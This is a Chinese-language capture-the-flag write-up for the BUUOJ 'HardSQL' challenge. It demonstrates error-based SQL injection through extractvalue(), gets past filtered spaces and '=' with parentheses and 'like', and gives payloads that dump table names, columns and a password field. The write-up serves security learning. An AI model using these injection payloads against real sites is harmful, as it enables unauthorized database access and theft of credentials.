[极客大挑战 2019]HardSQL 1-SQL报错注入

[极客大挑战 2019]HardSQL

试题地址:http://94d112f4-9aed-4f3e-b2ff-0c98f30a81b9.node4.buuoj.cn/

  1. 先进行常规SQL注入:‘,’‘,order by,or and union

    先进行简单测试,发现密码框可能存在SQL注入,然后进行以下测试,发现都是这个页面。

[极客大挑战 2019]HardSQL 1-SQL报错注入

常规测试payload:    //如下payload都是在密码框内测试
2' or '1'='1
2' or '1'='2
2' order by 3#
2' union select 1,2,3#

然后我们判断这道题是报错注入extractvalue()updatexml()

这两个函数讲解参考以下链接:

https://cloud.tencent.com/developer/article/1740429

我们这个题用的是extractvalue,我就简单的介绍一下这个函数。

extractvalue()

语法:extractvalue(目标xml文档,xml路径)

第一个参数:第一个参数可以传入目标XML文档

第二个参数:xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx...这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

​ 如果正常查询的话 第二个参数的位置格式为/xxx/xxx/xxx...,即使查询不到也不会报错

tips:要注意的是,它能够查询的字符串长度最大是32个字符,如果超过32位,就需要用函数来查询:

比如left(),right(),substr()来截取字符串

举个例子:

select extractvalue('<a><b></b></a>','/a/b'); 这个语句就是寻找前面一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误,就会报错,这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

百度了web 的骚操作
用’^'来连接函数,形成异或
这边用的是extractvalue()

我们在测试的时候发现这题目还过滤了空格,百度了解了一下用括号来代替空格就能绕过了

我们先构造payload爆数据库名:geek

2'^extractvalue(1,concat(0x5c,(select(database()))))#

[极客大挑战 2019]HardSQL 1-SQL报错注入

然后构造payload爆该数据库的表:

2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))))#

我们用这个payload发现出来的页面还是这个:

[极客大挑战 2019]HardSQL 1-SQL报错注入

猜测应该是=也被过滤了,然后百度了解了一下可以用like代替=,我们修改一下payload:

2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

发现爆出表:H4rDsq1

[极客大挑战 2019]HardSQL 1-SQL报错注入

然后我们构造paylaod爆出表的列:id,username,password

2'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

[极客大挑战 2019]HardSQL 1-SQL报错注入

我们查看一下每个列里面的内容:

发现id里面只有一个1,username里面有/flag,而password里面有flag值,这里只演示获取password列里面的内容:

构造payload:

2'^extractvalue(1,concat(0x5c,(select(password)from(geek.H4rDsq1))))#

[极客大挑战 2019]HardSQL 1-SQL报错注入

然后我们发现只有一般的flag,看上面tips,所以我们用left(),right()个查看一次构造完整的flag

2'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))#

2'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))#

[极客大挑战 2019]HardSQL 1-SQL报错注入

最后两边对比去除多余的得出flag!!


上一篇:[Django REST framework - JWT认证、token刷新机制、多方式登录]


下一篇:less-1的详细题解